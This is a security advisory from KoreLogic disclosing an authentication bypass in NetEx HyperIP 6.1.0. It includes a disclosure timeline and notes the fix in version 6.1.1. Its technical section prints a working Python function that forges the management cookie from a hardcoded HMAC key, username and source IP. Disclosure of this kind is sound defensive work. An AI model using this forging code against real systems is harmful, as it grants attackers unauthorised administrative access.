NetEx HyperIP 6.1.0 Authentication Bypass

Credit: Matt Bergin
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-592

KL-001-2018-002 : NetEx HyperIP Authentication Bypass Title: NetEx HyperIP Authentication Bypass Advisory ID: KL-001-2018-002 Publication Date: 2018.02.08 Publication URL: 1. Vulnerability Details Affected Vendor: NetEx Affected Product: HyperIP Affected Version: 6.1.0 Platform: Embedded Linux CWE Classification: CWE-592: Authentication Bypass Issues Impact: Authentication Bypass Attack vector: HTTPS 2. Vulnerability Description Authentication for the management application can be bypassed by recreating the algorithm used to create predictable valid cookies. 3. Technical Description Authentication can be bypassed using the function below. >>> from hashlib import md5 >>> from hmac import new >>> def bypass_auth(user,srcip): ... key = new('$#^Sub/s$',user+srcip,md5).hexdigest() ... token = new(key,user+srcip,md5).hexdigest() ... return token ... The attacker first creates a cookie token. >>> print bypass_auth('hipadmin','[redacted]') b6b73844ce4df64f459948c5475a1096 Then the attacker can submit requests containing that value as the auth-token cookie, which will be trusted by the application. 4. Mitigation and Remediation Recommendation The vendor has released version 6.1.1 of HyperIP, which they state addresses this vulnerability. 5. Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. 6. Disclosure Timeline 2017.07.24 - KoreLogic submits vulnerability details to NetEx. 2017.07.24 - NetEx confirms receipt. 2017.08.16 - NetEx informs KoreLogic that this and other reported vulnerabilities have been addressed in the forthcoming release. ETA as of yet undetermined. 2017.09.05 - 30 business days have elapsed since the vulnerability was reported to NetEx. 2017.09.19 - NetEx informs KoreLogic that the forthcoming release 6.1.1 is expected to ship at the end of January 2018. 2017.09.26 - 45 business days have elapsed since the vulnerability was reported to NetEx. 2017.12.01 - 90 business days have elapsed since the vulnerability was reported to NetEx. 2018.01.17 - 120 business days have elapsed since the vulnerability was reported to NetEx. 2018.01.23 - NetEx notifies KoreLogic that the HyperIP 6.1.1 release has gone live. 2018.02.08 - KoreLogic public disclosure. 7. Proof of Concept See 3. Technical Description. The contents of this advisory are copyright(c) 2018 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. Our public vulnerability disclosure policy is available at:

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